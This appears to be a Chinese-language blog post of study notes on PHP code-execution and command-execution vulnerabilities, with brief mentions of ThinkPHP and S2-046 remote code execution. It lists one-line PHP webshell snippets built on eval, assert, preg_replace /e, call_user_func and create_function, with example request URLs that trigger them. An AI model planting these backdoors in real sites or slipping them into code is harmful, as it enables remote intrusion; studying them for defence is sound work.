首页 > 其他分享 >代码执行&&命令执行

代码执行&&命令执行

时间:2023-05-25 21:11:22浏览次数:40  
标签:执行 函数 漏洞 assert 命令 代码执行 && php

  • 代码执行
    • 当应用在调用一些能将字符串转化成为代码的函数(比如php中的eval、assert等),没有考虑到用户能否控制这个字符。将会造成代码执行
    • 使用方法:<?php eval($_GET['cmd']);?>
    • 访问:xx.php?x=phpinfo();
    • 注意,eval不属于函数而属于结构体,所以在构造回调函数得到后门时,eval函数无法使用时可用assert函数代替
    • assert()
      •   使用方法:<?php assert($_GET['cmd']);?>
      •         访问:xx.php?x=phpinfo();
    • preg_replace() --执行一个正则表达式的搜索与替换
      •   使用方法:<?php preg_replace("/moon/e",$_GET['a'],"i love moon");?>
    • call_user_func()
      •   使用方法:mixed call_user_func ( callable $callback [, mixed $parameter [, mixed
        $... ]]
      •        示例代码:<?php call_user_func($_GET['a'], $_GET['b']); ?>
      •       访问:codeexec.php?a=assert&b=phpinfo()
    • call_user_func_array()
      •   使用方法:mixed call_user_func_array ( callable $callback , array $param_arr )
      •        把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函
        数的的参数传入。
      •        示例代码:<?php call_user_func_array($_GET['a'], $_GET['b']); ?>
      •        访问:codeexec.php?a=assert&b[]=phpinfo()
    • create_function()
      •   使用方法:string create_function ( string $args , string $code )
      •        该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面
        定义函数的参数,第二个参数是函数的代码。
      •        示例代码:<?php
        • $a = $_GET['a'];
        • $b = create_function('$a',"echo $a");
        • $b('');
        • ?>
      •  

      •  

      •  

      •  

    • ThinkPHP框架漏洞

      •   漏洞名称:ThinkPHP远程代码执行漏洞

      •         介绍:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

      • 框架漏洞

        •   POC

        •        s2-046远程代码执行漏洞

        •        手工操作我看不懂......不理解原理

           

           

           

           

           

  • 命令执行
    •   当web应用需要调用一些执行系统命令的函数时,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行
      漏洞


标签:执行,函数,漏洞,assert,命令,代码执行,&&,php
From: https://www.cnblogs.com/jackypeng0704/p/17432794.html

相关文章

  • 汇编-debug命令
    r   查看cpu寄存器内容     ......
  • OGG常用命令
    1进程查看infoall2详细信息查看#如查看ext1infoext1,detail#查看所有infoextract*inforeplicat*3启动停止进程startext1stopext14删除进程#需要登录数据库#源端登录dbloginuseridggspasswordggs#目标端登录[email protected]:3306u......
  • 快速解决cmd命令行乱码问题
    1.查看cmd编码方式 方法一:打开cmd,在命令行输入chcp 按下回车键,会显示如下图所示的信息。(“936”代表的意思就是GBK(汉字内码扩展规范),通常情况下GBK也是cmd的默认编码。) 方法二:打开cmd.在标题栏单击鼠标右键,选择“属性”。 在“属性”>>“选项”一栏中,就可以看到当前代码页的......
  • Kafka常用命令之kafka-console-consumer.sh
    ./kafka-console-consumer.sh--bootstrap-serverlocalhost:2181--topictestTopic--from-beginning注意:Kafka从2.2版本开始将kafka-topic.sh脚本中的−−zookeeper参数标注为“过时”,推荐使用−−bootstrap-server参数。若读者依旧使用的是2.1及以下版本,请将下述......
  • Windows系统下设置cmd命令行(终端)走代理的方法
     根据代理软件查看对应端口号(因为可能不是缺省端口号) 这里我本地代理的端口号是10792,下一步设置记得修改端口号与此对应。#有些朋友好像为什么设置http和socket5其实设置哪种都是可以的,具体看你们自己代理软件都支持的协议有哪些,就可以了#记得修改端口号,比如我的是10792,记......
  • 在命令行下使用Nuget.exe下载单个包,及其所有依赖的包
    #下载单个包,及其所有依赖的包.\nuget.exeinstall<package_name>-SolutionDirectory<save_path>-PackageSaveModenupkg#根据packages.config文件直接下载Nuget包.\nuget.exerestore<packages.config文件所在目录>-DirectDownload-PackagesDirectory<Nuget包存储路......
  • MySQL快速安装配置及相关命令
    安装下载https://dev.mysql.com/downloads/mysql/配置,解压并建立初始化配置文件my.ini,内容如下:[mysqld]#设置3306端口port=3306#设置mysql的安装目录basedir=D:\mysql-8.0.32-winx64#设置mysql数据库的数据的存放目录datadir=D:\mysql-8.0.32-winx64\data#允......
  • 网络灌包命令_iperf工作原理及使用方法
         网络性能评估主要是监测网络带宽的使用率,将网络带宽利用最大化是保证网络性能的基础,但是由于网络设计不合理、网络存在安全漏洞等原因,都会导致网络带宽利用率不高。要找到网络带宽利用率不高的原因,就需要对网络传输进行监控,此时就需要用到一些网络性能评估工具,而Ipe......
  • wget 未找到命令 解決辦法
    wget-O install.sh https:// ~~~(wget未找到命令)    如果在运行 wget 命令时提示"未找到命令",可能是因为 wget 工具没有安装。在Linux系统中,可以使用包管理器来安装 wget。例如,在Ubuntu或Debian系统中,可以使用以下命令安装 wget: ......
  • screen命令后台运行python 脚本
    1、安装screenyuminstall-yscreen2、新建一个screenscreen-Sxiedi这样会新开一个窗口,然后执行命令即可pythonmanage.pyrunserver0.0.0.0:90003、重开一个窗口,列出所有screen进程,如下\[root@docker~\]\#screen-lsTherearescreenson:3029.xiedi(Attached......